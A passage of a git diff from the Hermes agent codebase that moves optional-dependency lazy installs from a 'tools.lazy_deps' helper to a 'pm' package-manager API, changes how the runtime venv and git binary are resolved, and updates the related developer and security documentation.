of:\n" + " hermes pm install\n" " hermes computer-use install\n" - "Or run the upstream installer directly:\n" - f"{installer}\n" "Or run `hermes tools` and enable the Computer Use toolset to install it automatically." ) @@ -2822,10 +2859,10 @@ class CuaDriverBackend(ComputerUseBackend): # backend uses — so users never hit an opaque `No module named 'mcp'` # at invoke time. Auto-install is gated by `security.allow_lazy_installs` # (default on); when it's disabled or fails, ensure() raises - # FeatureUnavailable carrying an actionable `uv pip install mcp==…` + # InstallError carrying an actionable `uv pip install mcp==…` # hint, which surfaces via the backend-unavailable path in tool.py. - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("tool.computer_use", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("computer-use") # A just-installed package may not be importable until the import # machinery's caches are refreshed within this process. import importlib diff --git a/tools/environments/daytona.py b/tools/environments/daytona.py index 8aba712804..ab733ee66c 100644 --- a/tools/environments/daytona.py +++ b/tools/environments/daytona.py @@ -52,12 +52,14 @@ class DaytonaEnvironment(BaseEnvironment): super().__init__(cwd=cwd, timeout=timeout) try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("terminal.daytona", prompt=False) + from pm import ensure_import as _lazy_ensure except ImportError: - pass - except Exception as e: - raise ImportError(str(e)) + pass # pm unavailable — the sdk import below decides + else: + try: + _lazy_ensure("daytona") + except Exception as e: + raise ImportError(str(e)) from daytona import ( Daytona, CreateSandboxFromImageParams, diff --git a/tools/environments/local.py b/tools/environments/local.py index d4792b69ba..a70897e194 100644 --- a/tools/environments/local.py +++ b/tools/environments/local.py @@ -1588,28 +1588,62 @@ _in_venv: bool = ( _hermes_site_packages: list[Path] | None = None -def _validated_runtime_venv(env: dict) -> Path | None: - """Return a producer-owned runtime venv identified by VIRTUAL_ENV. +def _pm_runtime_venv_dir() -> Path | None: + """The venv pm provisioned for this install, resolved from pm's own + records (facts.json + store layout) — never from interpreter state or + the ambient environment. - A user may carry an unrelated VIRTUAL_ENV, so the variable alone is not - provenance. The legacy Windows base-Python gateway producer uses the exact - ``/venv`` layout and a real venv marker; require both before - accepting its separate runtime venv. + Under no-boot-through-venv the gateway runs the store python with the + venv's site-packages on PYTHONPATH, so ``VIRTUAL_ENV`` is unset in + bundled installs and a user-carried value is unproven provenance + anyway. pm is the authority: a bundled install keeps its relocatable + venv beside the manifest (a sibling of the store), a dev install syncs + the project venv (``venv``/``.venv`` — the same layout + ``pm.packages.Venv.venv_dir`` materializes). The venv fact must exist: + pm only vouches for what it provisioned. """ - value = env.get("VIRTUAL_ENV") - if not value: - return None - - candidate = Path(value) - if not any(_same_path(candidate, repo_root / "venv") for repo_root in _hermes_repo_root_aliases): - return None - try: - if not (candidate / "pyvenv.cfg").is_file(): - return None - except OSError: + from pm import paths + from pm.lock import Facts + except Exception: return None + try: + if not Facts(paths.facts_path()).get("venv"): + return None + except Exception: + return None + store = paths.store_root() + bundled = store.parent / "venv" + if (store.parent / "manifest.json").is_file(): + return bundled if bundled.is_dir() else None + try: + from hermes_constants import project_venv_dir + except ImportError: + return None + return project_venv_dir(paths.repo_root()) + +def _runtime_venv_site_packages(venv: Path) -> Path: + """The site-packages dir of *venv* under pm's venv layout (uv-created: + ``Lib/site-packages`` on Windows, ``lib/pythonX.Y/site-packages`` + otherwise).""" + if _IS_WINDOWS: + return venv / "Lib" / "site-packages" + pyver = f"python{sys.version_info[0]}.{sys.version_info[1]}" + return venv / "lib" / pyver / "site-packages" + + +def _validated_runtime_venv(env: dict) -> Path | None: + """Return the pm-provisioned runtime venv, when pm owns one here. + + The *env* parameter is retained for call-site compatibility; provenance + now comes from pm's facts/store (see ``_pm_runtime_venv_dir``), not from + a validated ``VIRTUAL_ENV`` — an inherited value could always name an + unrelated venv, and under no-boot-through-venv it is simply unset. + """ + candidate = _pm_runtime_venv_dir() + if candidate is None or not candidate.is_dir(): + return None return candidate @@ -1619,8 +1653,11 @@ def _get_hermes_site_packages(env: dict) -> list[Path]: Uses ``site.getsitepackages()`` when available for robustness (it respects ``.pth`` rewrites and platform conventions), with a manual fallback that constructs the canonical path from ``sys.prefix`` for POSIX and Windows. - A validated Windows base-interpreter launch contributes its separate - ``VIRTUAL_ENV/Lib/site-packages`` directory as an additional exact entry. + The pm-provisioned runtime venv (facts/store resolution — see + ``_validated_runtime_venv``) contributes its site-packages as an + additional exact entry; under no-boot-through-venv the running + interpreter is the store python and this is how its real site-packages + are identified. """ global _hermes_site_packages if _hermes_site_packages is not None: @@ -1650,7 +1687,7 @@ def _get_hermes_site_packages(env: dict) -> list[Path]: runtime_venv = _validated_runtime_venv(env) if runtime_venv is not None: - runtime_site_packages = runtime_venv / "Lib" / "site-packages" + runtime_site_packages = _runtime_venv_site_packages(runtime_venv) if not any(_same_path(runtime_site_packages, existing) for existing in result): result.append(runtime_site_packages) diff --git a/tools/environments/modal.py b/tools/environments/modal.py index 3137b32211..41356807e6 100644 --- a/tools/environments/modal.py +++ b/tools/environments/modal.py @@ -83,10 +83,11 @@ def _delete_direct_snapshot(task_id: str, snapshot_id: str | None = None) -> Non def _ensure_modal_sdk() -> None: """Lazy-install modal on demand. Idempotent — fast no-op once installed.""" try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("terminal.modal", prompt=False) + from pm import ensure_import as _lazy_ensure except ImportError: - pass + return # pm unavailable — modal's own import sites decide + try: + _lazy_ensure("modal") except Exception as e: raise ImportError(str(e)) diff --git a/tools/environments/vercel_sandbox.py b/tools/environments/vercel_sandbox.py index 4b6e4ea656..bee93ab291 100644 --- a/tools/environments/vercel_sandbox.py +++ b/tools/environments/vercel_sandbox.py @@ -55,10 +55,11 @@ def _ensure_vercel_sdk() -> None: # user value. os.environ.setdefault("VERCEL_TELEMETRY_DISABLED", "1") try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("terminal.vercel", prompt=False) + from pm import ensure_import as _lazy_ensure except ImportError: - pass + return # pm unavailable — vercel's own import sites decide + try: + _lazy_ensure("vercel") except Exception as e: raise ImportError(str(e)) diff --git a/tools/fal_common.py b/tools/fal_common.py index 27636f9038..b45f801c05 100644 --- a/tools/fal_common.py +++ b/tools/fal_common.py @@ -2,7 +2,7 @@ Holds the stateless atoms that every FAL-backed tool needs: -* :func:`import_fal_client` — lazy import + ``lazy_deps`` integration so +* :func:`import_fal_client` — lazy import + ``pm.ensure_import`` so ``fal_client`` isn't pulled at cold start (it added ~64 ms per CLI invocation when imported eagerly). * :class:`_ManagedFalSyncClient` — wrapper that drives a Nous-managed @@ -31,7 +31,7 @@ from urllib.parse import urlencode def import_fal_client() -> Any: - """Import ``fal_client`` (via ``lazy_deps`` when available) and return + """Import ``fal_client`` (via ``pm`` when available) and return the module reference. Callers are responsible for caching the result on their own module @@ -42,12 +42,18 @@ def import_fal_client() -> Any: Raises :class:`ImportError` if the package is genuinely unavailable. """ try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("image.fal", prompt=False) + from pm import ensure_import as _lazy_ensure except ImportError: + # pm itself unavailable (externally-managed env, partial install) — + # the plain import below is the authority on availability. pass - except Exception as exc: # noqa: BLE001 — lazy_deps surfaces install hints - raise ImportError(str(exc)) + else: + try: + _lazy_ensure("fal") + except ImportError: + pass # same authority rule: let the plain import decide + except Exception as exc: # noqa: BLE001 — pm surfaces install hints + raise ImportError(str(exc)) import fal_client # type: ignore # noqa: WPS433 — intentionally lazy return fal_client diff --git a/tools/read_extract.py b/tools/read_extract.py index 260aa045f4..0ce217f6eb 100644 --- a/tools/read_extract.py +++ b/tools/read_extract.py @@ -623,7 +623,7 @@ def _notebook_outputs(cell: dict, jq_pointer: str = "", filename: str = "") -> s def _extract_notebook(path: str) -> str: try: - with open(path, encoding="utf-8", errors="replace") as fh: + with open(path, encoding="utf-8-sig", errors="replace") as fh: nb = json.load(fh) except (OSError, ValueError, json.JSONDecodeError) as exc: raise ExtractionError(f"Not a valid notebook: {exc}") from exc diff --git a/tools/skills_tool.py b/tools/skills_tool.py index 5021b8ccc0..42828c70ed 100644 --- a/tools/skills_tool.py +++ b/tools/skills_tool.py @@ -1856,6 +1856,33 @@ def skill_view( exc_info=True, ) + # ── pm tool deps (`deps: [ffmpeg]` frontmatter) ────────────── + # Loading the skill IS the activation moment: ensure each declared + # pm package now so the skill's commands work when the model runs + # them. Failure never blocks the skill content — the note carries + # the remedy. + deps_note = None + declared_deps = frontmatter.get("deps") or [] + if isinstance(declared_deps, str): + declared_deps = [declared_deps] + if isinstance(declared_deps, list) and declared_deps: + failed_deps = [] + for dep in [str(d).strip() for d in declared_deps if str(d).strip()]: + try: + import pm + + pm.ensure(dep) + except Exception as exc: + failed_deps.append(f"{dep}: {exc}") + if failed_deps: + deps_note = ( + "Tool dependencies could not be installed — " + + "; ".join(failed_deps) + + ". Run `hermes pm install " + + " ".join(str(d) for d in declared_deps) + + "` and reload." + ) + result = { "success": True, "name": skill_name, @@ -1888,6 +1915,8 @@ def skill_view( setup_help = next((e["help"] for e in required_env_vars if e.get("help")), None) if setup_help: result["setup_help"] = setup_help + if deps_note: + result["deps_note"] = deps_note if capture_result["gateway_setup_hint"]: result["gateway_setup_hint"] = capture_result["gateway_setup_hint"] diff --git a/tools/transcription_tools.py b/tools/transcription_tools.py index 53fa074d95..e00926001d 100644 --- a/tools/transcription_tools.py +++ b/tools/transcription_tools.py @@ -343,12 +343,11 @@ def _try_lazy_install_stt() -> bool: the provider can use it immediately without a process restart. """ try: - from tools.lazy_deps import ensure - # prompt=False: never raise a blocking input() prompt mid-session. + from pm import ensure_import as ensure # Under the interactive CLI prompt_toolkit owns stdin, so a bare # input() deadlocks the terminal (#40490). The install is already # gated by security.allow_lazy_installs, so reaching here is opt-in. - ensure("stt.faster_whisper", prompt=False) + ensure("stt-whisper") # Re-check dynamically after install import importlib.util as _iu if _iu.find_spec("faster_whisper"): @@ -857,7 +856,7 @@ def _read_command_stt_output(output_path: Path, stdout: str, fmt: str) -> str: """ if output_path.exists(): try: - content = output_path.read_text(encoding="utf-8").strip() + content = output_path.read_text(encoding="utf-8-sig").strip() except UnicodeDecodeError: content = output_path.read_bytes().decode("utf-8", errors="replace").strip() if content: @@ -1570,8 +1569,8 @@ def _prepare_audio_for_transcription( # pilk is a tiny silk-v3 codec binding — lazy-install it on first # .silk voice note instead of bloating the base install. try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("stt.silk", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("silk") except Exception: pass if not _safe_find_spec("pilk"): @@ -2150,7 +2149,7 @@ def _transcribe_local_command( "error": "Local STT command completed but did not produce a .txt transcript", } - transcript_text = txt_files[0].read_text(encoding="utf-8").strip() + transcript_text = txt_files[0].read_text(encoding="utf-8-sig").strip() logger.info( "Transcribed %s via local STT command (%s, %d chars)", Path(file_path).name, @@ -2393,8 +2392,8 @@ def _transcribe_mistral( try: try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("stt.mistral", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("mistral") except Exception: pass from mistralai.client import Mistral diff --git a/tools/tts_tool.py b/tools/tts_tool.py index 3aa4875922..5b2f9229d4 100644 --- a/tools/tts_tool.py +++ b/tools/tts_tool.py @@ -110,10 +110,8 @@ from tools.xai_http import hermes_xai_user_agent def _import_edge_tts(): """Lazy import edge_tts. Returns the module or raises ImportError.""" try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("tts.edge", prompt=False) - except ImportError: - pass + from pm import ensure_import as _lazy_ensure + _lazy_ensure("edge-tts") except Exception: pass import edge_tts @@ -122,17 +120,17 @@ def _import_edge_tts(): def _import_elevenlabs(): """Lazy import ElevenLabs client. Returns the class or raises ImportError. - Calls :func:`tools.lazy_deps.ensure` first so the SDK gets installed on + Calls :func:`pm.ensure_import` first so the SDK gets installed on demand if the user picked ElevenLabs as their TTS provider but never ran the post-setup hook (e.g. enabled it by editing config.yaml directly). Raises ``ImportError`` on lazy-install failure so existing callers' error-handling paths keep working. """ try: - from tools.lazy_deps import FeatureUnavailable, ensure - ensure("tts.elevenlabs", prompt=False) + from pm import ensure_import as ensure + ensure("tts-premium") except ImportError: - # lazy_deps module itself missing — fall through to the raw import + # pm module itself missing — fall through to the raw import # so older code paths still get a clean ImportError. pass except Exception: @@ -166,16 +164,14 @@ def _import_openai_client(): def _import_mistral_client(): """Lazy import Mistral client. Returns the class or raises ImportError. - Calls :func:`tools.lazy_deps.ensure` first so the ``mistralai`` SDK gets + Calls :func:`pm.ensure_import` first so the ``mistralai`` SDK gets installed on demand if the user picked Mistral as their STT/TTS provider but never ran the post-setup hook (e.g. enabled it by editing config.yaml directly). Mirrors the ElevenLabs lazy-import path. """ try: - from tools.lazy_deps import ensure - ensure("tts.mistral", prompt=False) - except ImportError: - pass + from pm import ensure_import as ensure + ensure("mistral") except Exception: pass from mistralai.client import Mistral @@ -2474,7 +2470,7 @@ def _read_gemini_persona_prompt(gemini_config: Dict[str, Any]) -> str: if path is None: return "" try: - return path.read_text(encoding="utf-8").strip() + return path.read_text(encoding="utf-8-sig").strip() except (OSError, UnicodeDecodeError) as exc: logger.warning( "Gemini TTS persona prompt file unavailable at %s: %s", diff --git a/tools/wake_word.py b/tools/wake_word.py index f433dc6602..a7fcd21909 100644 --- a/tools/wake_word.py +++ b/tools/wake_word.py @@ -533,9 +533,9 @@ class _OpenWakeWordEngine(_Engine): frame_length = 1280 def __init__(self, cfg: Dict[str, Any]): - from tools import lazy_deps + import pm - lazy_deps.ensure("wake.openwakeword", prompt=False) + pm.ensure_import("wake-openwakeword") import openwakeword from openwakeword.model import Model @@ -560,7 +560,8 @@ class _OpenWakeWordEngine(_Engine): # Same lazy-install contract as every other backend; the platform # gate lives here because dep specs can't carry PEP 508 markers. try: - lazy_deps.ensure("wake.openwakeword.tflite", prompt=False) + import pm + pm.ensure_import("wake-tflite") except Exception as e: logger.debug("wake word: tflite runtime install failed: %s", e) if not ensure_tflite_runtime(): @@ -669,9 +670,9 @@ class _SherpaKwsEngine(_Engine): frame_length = 1280 def __init__(self, cfg: Dict[str, Any]): - from tools import lazy_deps + import pm - lazy_deps.ensure("wake.sherpa", prompt=False) + pm.ensure_import("wake-sherpa") import sherpa_onnx from sherpa_onnx import text2token @@ -780,9 +781,9 @@ class _PorcupineEngine(_Engine): """Picovoice Porcupine — premium, on-device, needs an access key.""" def __init__(self, cfg: Dict[str, Any]): - from tools import lazy_deps + import pm - lazy_deps.ensure("wake.porcupine", prompt=False) + pm.ensure_import("wake-porcupine") import pvporcupine @@ -859,7 +860,7 @@ def _tts_ready() -> bool: TTS the reply is silent and the loop is pointless. PROBE, not an installer: ``check_tts_requirements`` lazily pip-installs the - provider SDK via ``_import_*`` → ``lazy_deps.ensure`` — running that inside + provider SDK via ``_import_*`` → ``pm.ensure_import`` — running that inside a status poll froze wake.status for the length of a pip install (and a failed install marked the wake word unavailable, unmounting the desktop ear). When the provider's deps aren't installed yet, "installable at first @@ -873,18 +874,19 @@ def _tts_ready() -> bool: return False _LAZY_TTS_FEATURES = { - "edge": "tts.edge", - "elevenlabs": "tts.elevenlabs", - "mistral": "tts.mistral", + "edge": "edge-tts", + "elevenlabs": "tts-premium", + "mistral": "mistral", } feature = _LAZY_TTS_FEATURES.get(provider) if feature is not None: try: - from tools import lazy_deps + import pm + from pm.ensure import lazy_installs_allowed - if not lazy_deps.is_available(feature): + if not pm.available(feature): # Not installed: ready iff it can install at first speak. - return lazy_deps._allow_lazy_installs() + return lazy_installs_allowed() except Exception: return False @@ -900,21 +902,22 @@ def check_wake_word_requirements(cfg: Optional[Dict[str, Any]] = None) -> Dict[s """Report whether wake-word detection can run, with a remediation hint.""" cfg = cfg if cfg is not None else load_wake_word_config() provider = _provider(cfg) - from tools import lazy_deps + import pm + from pm.ensure import lazy_installs_allowed if provider == "porcupine": - feature = "wake.porcupine" + feature = "wake-porcupine" elif provider in ("sherpa", "sherpa-onnx", "kws", "open"): - feature = "wake.sherpa" + feature = "wake-sherpa" else: - feature = "wake.openwakeword" - deps_ok = lazy_deps.is_available(feature) - lazy_ok = lazy_deps._allow_lazy_installs() + feature = "wake-openwakeword" + deps_ok = pm.available(feature) + lazy_ok = lazy_installs_allowed() # The audio probe imports sounddevice + numpy — two of the very packages # the lazy installer would fetch — so it can only be trusted once the # feature's deps are installed. On a fresh install (deps missing, lazy # installs allowed) we defer the mic check: the engine constructors call - # ``lazy_deps.ensure()`` and the stream-open surfaces any real audio + # ``pm.ensure_import()`` and the stream-open surfaces any real audio # problem. Gating ``available`` on the probe here made the lazy-install # path unreachable (the probe always failed before ensure() could run). audio_ok = _audio_available() if deps_ok else False @@ -932,13 +935,13 @@ def check_wake_word_requirements(cfg: Optional[Dict[str, Any]] = None) -> Dict[s if provider not in ("porcupine", "sherpa", "sherpa-onnx", "kws", "open"): framework = resolve_inference_framework(cfg) if framework == "tflite": - tflite_ok = ensure_tflite_runtime() or lazy_deps.is_available("wake.openwakeword.tflite") or lazy_ok + tflite_ok = ensure_tflite_runtime() or pm.available("wake-tflite") or lazy_ok if provider == "porcupine" and not (os.getenv("PORCUPINE_ACCESS_KEY") or "").strip(): key_ok = False hint = "Set PORCUPINE_ACCESS_KEY (free key at https://console.picovoice.ai)." elif not deps_ok and not lazy_ok: - hint = lazy_deps.feature_install_command(feature) or "" + hint = f"uv sync --frozen --extra {feature}" elif not tflite_ok: hint = "The wake word needs the tflite runtime on this Mac: pip install ai-edge-litert" elif deps_ok and not audio_ok and resolve_capture_mode(cfg) == "local": diff --git a/tools/working_diff.py b/tools/working_diff.py index a5df51d4f6..b4886144f8 100644 --- a/tools/working_diff.py +++ b/tools/working_diff.py @@ -19,10 +19,11 @@ brand-new files show up as additions instead of being silently invisible from __future__ import annotations +import functools import os import shutil import subprocess -from typing import Dict, List +from typing import Dict, List, Optional _GIT_TIMEOUT = 15 _MAX_UNTRACKED_FILES = 50 # sanity cap so a node_modules explosion can't hang us @@ -30,10 +31,37 @@ _MAX_UNTRACKED_FILES = 50 # sanity cap so a node_modules explosion can't hang u VALID_MODES = ("working", "staged", "all") +@functools.lru_cache(maxsize=1) +def _git_command() -> Optional[List[str]]: + """Resolve the git invocation: pm's pinned Git first, then system git. + + pm's git package is the canonical Windows git (Git for Windows, + pinned in pm/lock.json) — it wins over PATH so a stale or broken + system git never breaks diff collection. On POSIX pm deliberately + gaps git (system git by choice), and when pm can't provide it for any + other reason we fall back to bare ``git`` on PATH. None when git is + nowhere — the caller reports it unavailable. + """ + try: + import pm + + runner = pm.ensure("git") + for candidate in ("git.exe", "git"): + resolved = shutil.which(candidate, path=runner.env.get("PATH")) + if resolved: + return [resolved] + except Exception: + pass + return ["git"] if shutil.which("git") else None + + def _run(args: List[str], cwd: str, timeout: int = _GIT_TIMEOUT): """Run git, returning (returncode, stdout). Never raises on git failure.""" + command = _git_command() + if command is None: + return 127, "" proc = subprocess.run( - ["git", "-c", "core.quotePath=false", *args], + [*command, "-c", "core.quotePath=false", *args], cwd=cwd, capture_output=True, text=True, timeout=timeout, encoding="utf-8", errors="replace", ) @@ -55,7 +83,7 @@ def _untracked_diff(cwd: str, files: List[str]) -> str: # --no-index exits 1 when the files differ — that's the success # path here, so ignore the return code and keep the output. _, out = _run( - ["diff", "--no-index", "--", os.devnull, rel], cwd, + ["diff", "--no-ext-diff", "--no-index", "--", os.devnull, rel], cwd, ) if out.strip(): chunks.append(out.rstrip("\n")) @@ -81,7 +109,7 @@ def collect_working_diff(cwd: str, mode: str = "working", return {"success": False, "error": f"Unknown mode '{mode}'. Use: {', '.join(VALID_MODES)}"} - if not shutil.which("git"): + if _git_command() is None: return {"success": False, "error": "git is not installed or not on PATH."} try: @@ -91,12 +119,16 @@ def collect_working_diff(cwd: str, mode: str = "working", if code != 0: return {"success": False, "error": "Not a git repository."} + # --no-ext-diff: a user-configured external differ (diff.external in + # gitconfig, e.g. difftastic) replaces the unified-diff format that the + # CLI/gateway renderers and truncation logic parse. Force the internal + # diff engine so the collected output shape is stable for all users. if mode == "staged": - base_args = ["diff", "--cached"] + base_args = ["diff", "--no-ext-diff", "--cached"] elif mode == "all": - base_args = ["diff", "HEAD"] + base_args = ["diff", "--no-ext-diff", "HEAD"] else: # working - base_args = ["diff"] + base_args = ["diff", "--no-ext-diff"] pathspec = ["--", *paths] if paths else [] diff --git a/tui_gateway/methods_tools.py b/tui_gateway/methods_tools.py index 80d94deee4..e0ac3b59a7 100644 --- a/tui_gateway/methods_tools.py +++ b/tui_gateway/methods_tools.py @@ -417,7 +417,10 @@ def _(rid, params: dict) -> dict: try: # CREATE_NO_WINDOW on Windows — under the desktop GUI's windowless # parent, this spawn otherwise flashes a console (#56747). - from hermes_cli._subprocess_compat import windows_hide_flags + from hermes_cli._subprocess_compat import ( + restore_ambient_pythonpath, + windows_hide_flags, + ) r = subprocess.run( [sys.executable, "-m", "hermes_cli.main", *argv], @@ -431,7 +434,11 @@ def _(rid, params: dict) -> dict: cwd=os.getcwd(), # cli.exec runs `python -m hermes_cli.main` (can drive the agent) → # needs provider credentials. Tier-1 secrets still stripped (#29157). - env=hermes_subprocess_env(inherit_credentials=True), + # Same-interpreter re-exec: ambient PYTHONPATH must survive the + # env factory's Hermes-owned strip (no-boot-through-venv). + env=restore_ambient_pythonpath( + hermes_subprocess_env(inherit_credentials=True) + ), stdin=subprocess.DEVNULL, creationflags=windows_hide_flags(), ) diff --git a/tui_gateway/server.py b/tui_gateway/server.py index 6f0f6ee2ef..af29efd400 100644 --- a/tui_gateway/server.py +++ b/tui_gateway/server.py @@ -338,10 +338,10 @@ _LONG_HANDLERS = frozenset( "voice.record", "voice.tts", # wake.start calls check_wake_word_requirements() → _stt_ready() → - # _get_provider() → _try_lazy_install_stt() → ensure("stt.faster_whisper") + # _get_provider() → _try_lazy_install_stt() → ensure("stt-whisper") # (same synchronous subprocess install chain as the voice RPCs above). # It also calls start_listening() → _build_engine() whose constructors - # call lazy_deps.ensure("wake.openwakeword" / "wake.sherpa" / …). + # call pm.ensure_import("wake-*" / …). # wake.status calls check_wake_word_requirements() too and is polled # by the desktop on every gateway-ready, so it can re-trigger the # same block on a fresh launch. Same bug class as #21123 / #50005. @@ -466,8 +466,10 @@ class _SlashWorker: argv += ["--model", model] self._closed = False - from hermes_cli._subprocess_compat import windows_hide_flags - + from hermes_cli._subprocess_compat import ( + restore_ambient_pythonpath, + windows_hide_flags, + ) # slash_worker runs the Hermes agent → needs provider credentials. # Tier-1 secrets (gateway/GitHub/infra) are still stripped (#29157). # Global-remote / multi-profile sessions: the worker must resolve @@ -482,6 +484,11 @@ class _SlashWorker: inherit_profile_home=False, # base already carries the HOME contract extra={"HERMES_HOME": str(profile_home)} if profile_home else None, ) + # Same-interpreter re-exec (sys.executable -m tui_gateway...): the + # ambient PYTHONPATH must survive the env factory's Hermes-owned + # strip — under no-boot-through-venv the child's imports arrive + # through it (no editable install on the store python). + env = restore_ambient_pythonpath(env) # Prepend the Hermes venv bin dir and the user-local bin dir to PATH so # slash_worker child processes can resolve Hermes-managed CLIs # (browser-use, uvx) even when the parent gateway was launched with a diff --git a/ui-tui/src/gatewayClient.ts b/ui-tui/src/gatewayClient.ts index 8b30d0e7f9..e4c8de8c65 100644 --- a/ui-tui/src/gatewayClient.ts +++ b/ui-tui/src/gatewayClient.ts @@ -1,6 +1,5 @@ import { type ChildProcess, spawn } from 'node:child_process' import { EventEmitter } from 'node:events' -import { existsSync } from 'node:fs' import { delimiter, resolve } from 'node:path' import { createInterface } from 'node:readline' @@ -59,25 +58,24 @@ const resolveSidecarUrl = () => { return raw ? raw : null } -const resolvePython = (root: string) => { - const configured = process.env.HERMES_PYTHON?.trim() || process.env.PYTHON?.trim() +const resolvePython = () => { + // Trust HERMES_PYTHON only. The launcher guarantees it: hermes_cli/main.py + // validates it and falls back to its own sys.executable, and the Nix + // wrapper sets it too. So a TUI started the normal way already knows its + // interpreter, and scanning VIRTUAL_ENV / .venv here can only find a + // DIFFERENT python than the parent process runs on — with the pm store, + // a stale venv path is actively dangerous (the interpreter a gateway + // child gets must match the one that spawned it). + const configured = process.env.HERMES_PYTHON?.trim() if (configured) { return configured } - const venv = process.env.VIRTUAL_ENV?.trim() - - const hit = [ - venv && resolve(venv, 'bin/python'), - venv && resolve(venv, 'Scripts/python.exe'), - resolve(root, '.venv/bin/python'), - resolve(root, '.venv/bin/python3'), - resolve(root, 'venv/bin/python'), - resolve(root, 'venv/bin/python3') - ].find(p => p && existsSync(p)) - - return hit || (process.platform === 'win32' ? 'python' : 'python3') + // The one case with no launcher above it: `npm run dev` / `npm start` + // straight out of ui-tui/. A developer doing that runs inside their own + // activated environment, so PATH is the right question there. + return process.platform === 'win32' ? 'python' : 'python3' } const asGatewayEvent = (value: unknown): GatewayEvent | null => @@ -474,7 +472,7 @@ export class GatewayClient extends EventEmitter { } private startSpawnedGateway(root: string) { - const python = resolvePython(root) + const python = resolvePython() const cwd = process.env.HERMES_CWD || root const env = { ...process.env } const pyPath = env.PYTHONPATH?.trim() diff --git a/website/docs/developer-guide/adding-platform-adapters.md b/website/docs/developer-guide/adding-platform-adapters.md index 870c6608dd..5df1baba48 100644 --- a/website/docs/developer-guide/adding-platform-adapters.md +++ b/website/docs/developer-guide/adding-platform-adapters.md @@ -154,7 +154,7 @@ def register(ctx): # ACTIVE installer (optional) — only for platforms with a # lazy-installable SDK. create_adapter() calls it when check_fn # returns False, right before the gateway connects the platform. - # Typically wraps tools.lazy_deps.ensure_and_bind(...). Omit it + # Typically wraps pm.extras.ensure_and_bind(...). Omit it # and a False check_fn is a hard block. # ensure_deps_fn=ensure_requirements, validate_config=validate_config, diff --git a/website/docs/developer-guide/plugins/index.md b/website/docs/developer-guide/plugins/index.md index 0a27acadef..88f1626f43 100644 --- a/website/docs/developer-guide/plugins/index.md +++ b/website/docs/developer-guide/plugins/index.md @@ -763,11 +763,11 @@ Both formats can be mixed in the same list. Already-set variables are skipped si ### Lazy-install optional Python dependencies -If your plugin wraps an SDK that not every user will have installed (a vendor SDK, a heavy ML lib, a platform-specific package), don't `import` it at the top of the module. Use the `tools.lazy_deps.ensure(...)` helper inside the tool handler — Hermes will install the package on first use, gated by the user's `security.allow_lazy_installs` config. +If your plugin wraps an SDK that not every user will have installed (a vendor SDK, a heavy ML lib, a platform-specific package), don't `import` it at the top of the module. Use `pm.ensure_import()` inside the tool handler — Hermes syncs the venv with that extra on first use, gated by the user's `security.allow_lazy_installs` config. ```python # tools.py -from tools.lazy_deps import ensure, FeatureUnavailable +from pm import ensure_import as ensure, InstallError as FeatureUnavailable def my_tool_handler(args, **kwargs): try: @@ -779,14 +779,14 @@ def my_tool_handler(args, **kwargs): ... ``` -Two rules from the security model in `tools/lazy_deps.py`: +Two rules from the security model in `pm`: | Rule | Why | |---|---| | Your feature key must appear in the in-tree `LAZY_DEPS` allowlist | Prevents a malicious config from coaxing Hermes into installing arbitrary packages — only specs Hermes itself ships are eligible | | Specs are PyPI-by-name only | No `--index-url`, `git+https://`, or file: paths. Pin versions with PEP 440 (`"my-sdk>=1.2,<2"`) inside the allowlist entry | -For third-party plugins distributed via pip, declare the optional deps as `[project.optional-dependencies]` extras in your own `pyproject.toml` and tell users to `pip install your-plugin[backend]` — that path doesn't go through `lazy_deps`. The lazy-install dance is most useful for **bundled** plugins where shipping a hard dependency on every install would bloat the base Hermes footprint. +For third-party plugins distributed via pip, declare the optional deps as `[project.optional-dependencies]` extras in your own `pyproject.toml` and tell users to `pip install your-plugin[backend]` — that path doesn't go through pm. The on-demand install is most useful for **bundled** plugins where shipping a hard dependency on every install would bloat the base Hermes footprint. When `security.allow_lazy_installs: false` is set globally, `ensure()` raises `FeatureUnavailable` immediately with a remediation hint — your plugin should catch it and degrade gracefully (return an error result, not crash the tool loop). diff --git a/website/docs/developer-guide/web-search-provider-plugin.md b/website/docs/developer-guide/web-search-provider-plugin.md index 4f880866c6..7bf028a13a 100644 --- a/website/docs/developer-guide/web-search-provider-plugin.md +++ b/website/docs/developer-guide/web-search-provider-plugin.md @@ -233,7 +233,7 @@ Errors surface as the tool result; the LLM decides how to explain them. If no pr ## Lazy-installing optional dependencies -If your provider wraps a third-party SDK (like DDGS does with the `ddgs` package), don't `import` it at module top level. Use `tools.lazy_deps.ensure(...)` inside `is_available()` or `search()` — Hermes will install the package on first use, gated by `security.allow_lazy_installs`. See [Build a Hermes Plugin → Lazy-install](/developer-guide/plugins#lazy-install-optional-python-dependencies) for the security model. +If your provider wraps a third-party SDK (like DDGS does with the `ddgs` package), don't `import` it at module top level. Use `pm.ensure_import()` inside `is_available()` or `search()` — Hermes installs the extra on first use, gated by `security.allow_lazy_installs`. See [Build a Hermes Plugin → Lazy-install](/developer-guide/plugins#lazy-install-optional-python-dependencies) for the security model. ## Reference implementations diff --git a/website/docs/user-guide/security.md b/website/docs/user-guide/security.md index e63199af0b..0de4b29080 100644 --- a/website/docs/user-guide/security.md +++ b/website/docs/user-guide/security.md @@ -785,7 +785,7 @@ The check itself is stdlib-only and runs from one `importlib.metadata.version()` ### Lazy install of optional dependencies -Many features (Mistral TTS, ElevenLabs, Honcho memory, Bedrock, Slack, Matrix, …) depend on Python packages that not every user needs. Hermes installs these **lazily** on first use rather than eagerly under `hermes-agent[all]`. The implementation lives in `tools/lazy_deps.py`. +Many features (Mistral TTS, ElevenLabs, Honcho memory, Bedrock, Slack, Matrix, …) depend on Python packages that not every user needs. Hermes installs these **on demand** at first use rather than eagerly under `hermes-agent[all]`. The implementation is the pm package system: each feature is a pyproject extra, and enabling one syncs the venv against the committed `uv.lock`. The trade-off this fixes: @@ -798,7 +798,7 @@ How it works: 2. If the deps are missing, `ensure` checks 